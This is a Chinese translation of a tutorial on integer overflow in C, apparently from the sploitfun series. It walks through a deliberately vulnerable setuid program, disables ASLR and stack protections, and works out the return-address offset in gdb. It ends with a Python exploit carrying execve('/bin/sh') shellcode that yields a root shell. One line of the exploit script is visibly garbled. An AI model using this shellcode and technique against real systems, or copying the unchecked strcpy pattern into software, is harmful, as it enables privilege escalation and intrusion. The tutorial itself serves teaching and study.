整数溢出

译者:hackyzh

原文:Integer Overflow

虚拟机安装:Ubuntu 12.04(x86)

什么是整数溢出?

存储大于最大支持值的值称为整数溢出。整数溢出本身不会导致任意代码执行,但整数溢出可能会导致堆栈溢出或堆溢出,这可能导致任意代码执行。在这篇文章中,我将仅谈论整数溢出导致堆栈溢出,整数溢出导致堆溢出将在后面的单独的帖子中讨论。

数据类型大小及范围:

整数溢出 - 图1

当我们试图存储一个大于最大支持值的值时,我们的值会被包装 。例如,当我们尝试将2147483648存储到带符号的int数据类型时,它将被包装并存储为-21471483648。这被称为整数溢出,这种溢出可能导致任意代码执行

整数下溢

类似地,存储小于最小支持值的值称为整数下溢。例如,当我们尝试将-2147483649存储到带符号的int数据类型时,它将被包装并存储为21471483647.这称为整数下溢。在这里我只会谈论整数溢出,但是这个过程对于下溢也是一样的!

漏洞代码:

  1. //vuln.c
  2. #include <stdio.h>
  3. #include <string.h>
  4. #include <stdlib.h>
  5. void store_passwd_indb(char* passwd) {
  6. }
  7. void validate_uname(char* uname) {
  8. }
  9. void validate_passwd(char* passwd) {
  10. char passwd_buf[11];
  11. unsigned char passwd_len = strlen(passwd); /* [1] */
  12. if(passwd_len >= 4 && passwd_len <= 8) { /* [2] */
  13. printf("Valid Password\n"); /* [3] */
  14. fflush(stdout);
  15. strcpy(passwd_buf,passwd); /* [4] */
  16. } else {
  17. printf("Invalid Password\n"); /* [5] */
  18. fflush(stdout);
  19. }
  20. store_passwd_indb(passwd_buf); /* [6] */
  21. }
  22. int main(int argc, char* argv[]) {
  23. if(argc!=3) {
  24. printf("Usage Error: \n");
  25. fflush(stdout);
  26. exit(-1);
  27. }
  28. validate_uname(argv[1]);
  29. validate_passwd(argv[2]);
  30. return 0;
  31. }

编译命令

  1. #echo 0 > /proc/sys/kernel/randomize_va_space
  2. $gcc -g -fno-stack-protector -z execstack -o vuln vuln.c
  3. $sudo chown root vuln
  4. $sudo chgrp root vuln
  5. $sudo chmod +s vuln

上述漏洞代码的[1]行显示了一个整数溢出错误。strlen的返回类型是size_tunsigned int),它存储在unsigned char数据类型中。因此,任何大于unsigned char的最大支持值的值都会导致整数溢出。因此当密码长度为261时,261将被包裹并存储为passwd_len变量中的5!由于这个整数溢出,可以绕过行[2]执行的边界检查,从而导致基于堆栈的缓冲区溢出!而且在这篇文章中看到,基于堆栈的缓冲区溢出导致任意的代码执行。

在研究漏洞代码之前,为了更好的理解,我们可以反汇编并绘制出漏洞代码的堆栈布局!

反汇编:

  1. (gdb) disassemble validate_passwd
  2. Dump of assembler code for function validate_passwd:
  3. //Function Prologue
  4. 0x0804849e <+0>: push %ebp //backup caller's ebp
  5. 0x0804849f <+1>: mov %esp,%ebp //set callee's ebp to esp
  6. 0x080484a1 <+3>: push %edi //backup edi
  7. 0x080484a2 <+4>: sub $0x34,%esp //stack space for local variables
  8. 0x080484a5 <+7>: mov 0x8(%ebp),%eax //eax = passwd
  9. 0x080484a8 <+10>: movl $0xffffffff,-0x1c(%ebp) //String Length Calculation -- Begins here
  10. 0x080484af <+17>: mov %eax,%edx
  11. 0x080484b1 <+19>: mov $0x0,%eax
  12. 0x080484b6 <+24>: mov -0x1c(%ebp),%ecx
  13. 0x080484b9 <+27>: mov %edx,%edi
  14. 0x080484bb <+29>: repnz scas %es:(%edi),%al
  15. 0x080484bd <+31>: mov %ecx,%eax
  16. 0x080484bf <+33>: not %eax
  17. 0x080484c1 <+35>: sub $0x1,%eax //String Length Calculation -- Ends here
  18. 0x080484c4 <+38>: mov %al,-0x9(%ebp) //passwd_len = al
  19. 0x080484c7 <+41>: cmpb $0x3,-0x9(%ebp) //if(passwd_len <= 4 )
  20. 0x080484cb <+45>: jbe 0x8048500 <validate_passwd+98> //jmp to 0x8048500
  21. 0x080484cd <+47>: cmpb $0x8,-0x9(%ebp) //if(passwd_len >=8)
  22. 0x080484d1 <+51>: ja 0x8048500 <validate_passwd+98> //jmp to 0x8048500
  23. 0x080484d3 <+53>: movl $0x8048660,(%esp) //else arg = format string "Valid Password"
  24. 0x080484da <+60>: call 0x80483a0 <puts@plt> //call puts
  25. 0x080484df <+65>: mov 0x804a020,%eax //eax = stdout
  26. 0x080484e4 <+70>: mov %eax,(%esp) //arg = stdout
  27. 0x080484e7 <+73>: call 0x8048380 <fflush@plt> //call fflush
  28. 0x080484ec <+78>: mov 0x8(%ebp),%eax //eax = passwd
  29. 0x080484ef <+81>: mov %eax,0x4(%esp) //arg2 = passwd
  30. 0x080484f3 <+85>: lea -0x14(%ebp),%eax //eax = passwd_buf
  31. 0x080484f6 <+88>: mov %eax,(%esp) //arg1 = passwd_buf
  32. 0x080484f9 <+91>: call 0x8048390 <strcpy@plt> //call strcpy
  33. 0x080484fe <+96>: jmp 0x8048519 <validate_passwd+123> //jmp to 0x8048519
  34. 0x08048500 <+98>: movl $0x804866f,(%esp) //arg = format string "Invalid Password"
  35. 0x08048507 <+105>: call 0x80483a0 <puts@plt> //call puts
  36. 0x0804850c <+110>: mov 0x804a020,%eax //eax = stdout
  37. 0x08048511 <+115>: mov %eax,(%esp) //arg = stdout
  38. 0x08048514 <+118>: call 0x8048380 <fflush@plt> //fflush
  39. 0x08048519 <+123>: lea -0x14(%ebp),%eax //eax = passwd_buf
  40. 0x0804851c <+126>: mov %eax,(%esp) //arg = passwd_buf
  41. 0x0804851f <+129>: call 0x8048494 //call store_passwd_indb
  42. //Function Epilogue
  43. 0x08048524 <+134>: add $0x34,%esp //unwind stack space
  44. 0x08048527 <+137>: pop %edi //restore edi
  45. 0x08048528 <+138>: pop %ebp //restore ebp
  46. 0x08048529 <+139>: ret //return
  47. End of assembler dump.
  48. (gdb)

堆栈布局:

整数溢出 - 图2

由于我们已经知道长度为261的密码,所以绕过边界检查,并允许我们覆盖堆栈中的返回地址。让我们通过发送一系列的A来测试它。

测试步骤1:是否可以覆盖返回地址?

  1. $ gdb -q vuln
  2. Reading symbols from /home/sploitfun/lsploits/iof/vuln...(no debugging symbols found)...done.
  3. (gdb) r sploitfun `python -c 'print "A"*261'`
  4. Starting program: /home/sploitfun/lsploits/iof/vuln sploitfun `python -c 'print "A"*261'`
  5. Valid Password
  6. Program received signal SIGSEGV, Segmentation fault.
  7. 0x41414141 in ?? ()
  8. (gdb) p/x $eip
  9. $1 = 0x41414141
  10. (gdb)

测试步骤2:目的缓冲区的偏移量是多少?

这里让我们从缓冲区passwd_buf中找出什么偏移返回地址。反汇编并绘制了validate_passwd的堆栈布局,现在可以尝试找到偏移位置信息!堆栈布局显示返回地址位于缓冲区passwd_buf的偏移(0x18)处。0x18计算如下:

  1. 0x18 = 0xb + 0x1 + 0x4 + 0x4 + 0x4

其中

  1. 0xb is passwd_buf size
  2. 0x1 is passwd_len size
  3. 0x4 is alignment space
  4. 0x4 is edi
  5. 0x4 is callers EBP

因此,用户输入的"A" * 24 + "B" * 4 + "C" * 233,以A覆盖passwd_bufpasswd_len,对齐空间,edi和调用者的ebp,以BBBB覆盖返回地址,以C覆盖剩余空间.

  1. $ gdb -q vuln
  2. Reading symbols from /home/sploitfun/lsploits/iof/vuln...(no debugging symbols found)...done.
  3. (gdb) r sploitfun `python -c 'print "A"*24 + "B"*4 + "C"*233'`
  4. Starting program: /home/sploitfun/lsploits/iof/vuln sploitfun `python -c 'print "A"*24 + "B"*4 + "C"*233'`
  5. Valid Password
  6. Program received signal SIGSEGV, Segmentation fault.
  7. 0x42424242 in ?? ()
  8. (gdb) p/x $eip
  9. $1 = 0x42424242
  10. (gdb)

以上输出显示攻击者可以控制返回地址。位于堆栈位置(0xbffff1fc)的返回地址被BBBB覆盖。有了这些信息,我们可以编写一个漏洞利用程序来实现任意的代码执行。

利用代码:

  1. #exp.py
  2. #!/usr/bin/env python
  3. import struct
  4. from subprocess import call
  5. arg1 = "sploitfun"
  6. #Stack address where shellcode is copied.
  7. ret_addr = 0xbffff274
  8. #Spawn a shell
  9. #execve(/bin/sh)
  10. scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
  11. #endianess convertion
  12. def conv(num):
  13. return struct.pack("<I",numunk + RA + NOP's + Shellcode
  14. arg2 = "A" * 24
  15. arg2 += conv(ret_addr);
  16. arg2 += "\x90" * 100
  17. arg2 += scode
  18. arg2 += "C" * 108
  19. print "Calling vulnerable program"
  20. call(["./vuln", arg1, arg2])

执行上面的exploit程序,给我们root shell(如下所示):

  1. $ python exp.py
  2. Calling vulnerable program
  3. Valid Password
  4. # id
  5. uid=1000(sploitfun) gid=1000(sploitfun) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare),1000(sploitfun)
  6. # exit
  7. $

参考

http://phrack.org/issues/60/10.html